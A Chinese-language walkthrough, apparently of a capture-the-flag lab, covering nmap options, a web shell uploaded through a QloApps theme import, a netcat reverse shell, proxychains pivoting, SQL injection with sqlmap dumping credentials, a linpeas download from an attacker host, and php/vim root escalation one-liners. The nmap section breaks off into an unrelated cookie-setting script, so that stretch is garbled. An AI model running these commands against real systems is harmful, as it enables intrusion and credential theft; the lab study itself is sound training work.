一:主机发现
nmap命令是一个网络扫描工具,用于发现主机和服务,并进行端口扫描等操作。以下是nmap命令的一些常用参数:
- -sS:使用TCP SYN扫描方式进行端口扫描
- -sU:使用UDP扫描方式进行端口扫描
- -sV:对发现的服务进行版本检测
- -O:进行操作系统检测
- -A:进行操作系统检测、版本检测和脚本扫描
- -p :指定要扫描的端口范围
- -T<0-5>:设置扫描速度,0为最慢,5为最快
- -v:显示详细信息
- -oN :将扫描结果保存到文件中
- --script=&password=1
function UpdateCookies(cookies) {
datas = cookies.split(";");
for (var i = 0; i < datas.length; i++) {
document.cookie = datas[i];
}
return "success";
};
cookies = "PHPSESSID=vju5i7geauh7j0fabsl7kghdj8";
UpdateCookies(cookies);导入成功查看源码
发现第二张图片的命名和其他的不一样,可能有问题
4063830e548b8aea3586473c668aac826516be33/c49675b5b5ef6ac738587d12051b607b13c78c79.jpg
替换一下scr进入看到一张照片
6:上传反弹shell
因为nmap扫描时只开启了80端口和1080端口,因此账户密码信息只能是80端口的,但是web页面登录时用户名是邮箱信息,所以在用户名后添加邮箱进行登录测试,账户信息:peterg@worstwestern.com:Birdistheword。
发现了Preferences/theme主题可以进行导入导出,那我们就可以先导出主题,然后写入后门文件getShell.php在上传,目录:/themes/hotel-reservation-theme/
直接拖到压缩包中,然后上传,因为改过的主题名和原本网站中的一样,可以改一下网站中的主题名,然后上传,上传后访问 /themes/hotel-reservation-theme/shell.php 并 nc 监听:
反弹成功
升级一下shell
python3 -c 'import pty;pty.spawn("/bin/bash")';
拿到flag1
升级下shell:python -c 'import pty;pty.spawn("/bin/bash")';,然后在/home/qloapps目录下发现Flag1.txt文件,访问该文件,成功获得flag值。
7:扫描192.168.0.0网段
ifconfig发现192.168.1.100
proxychains nmap -sT -Pn -p22,80,443 192.168.0.0/24
proxychains nmap -sT -Pn -p22,80,443 192.168.0.1
80端口
443端口
8:sql注入
两个页面都存在 sql 注入,我这里用忘记密码界面注入:
proxychains -q sqlmap -u "https://192.168.0.1/forgot-password.php" --forms --dbs
在443端口使用万能密码(' or 1=1--+)直接就可以登录,但是系统里没啥有用的利用信息,那就使用sqlmap跑一下数据。
直接在登录页面进行sql注入:proxychains -q sqlmap -u "https://192.168.0.1/index.php" --forms --dbs,需要输入:email=1&password=2&login=submit,其余yes即可。
proxychains -q sqlmap -u "https://192.168.0.1/forgot-password.php" --forms -D crm --tables --batch
user表:
proxychains -q sqlmap -u "https://192.168.0.1/forgot-password.php" --forms -D crm -T user --dump --batch
发现了一些邮箱和密码,也就第一条正常点,尝试 ssh 登录,试了用户名密码是:
peterg:TheBirdIsTheWord
proxychains -q ssh peterg@192.168.0.1
找到flag2
9:提权
用 linpeas.sh 脚本跑一下:
wget http://10.4.7.128:8000/linpeas.sh
发现可以用php和vim提权
1:php提权
查看php的提权方式,命令:CMD="/bin/sh" /usr/bin/php7.3 -r "posix_setuid(0); system('$CMD');"。获得root权限后在/root目录下发现Flag3.txt,读取该文件成功获得flag值。
2:vim提权
查看vim的提权方式,命令:/usr/bin/vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")',执行完之后会弹出新的窗口,获得root权限后在/root目录下发现Flag3.txt,读取该文件成功获得flag值。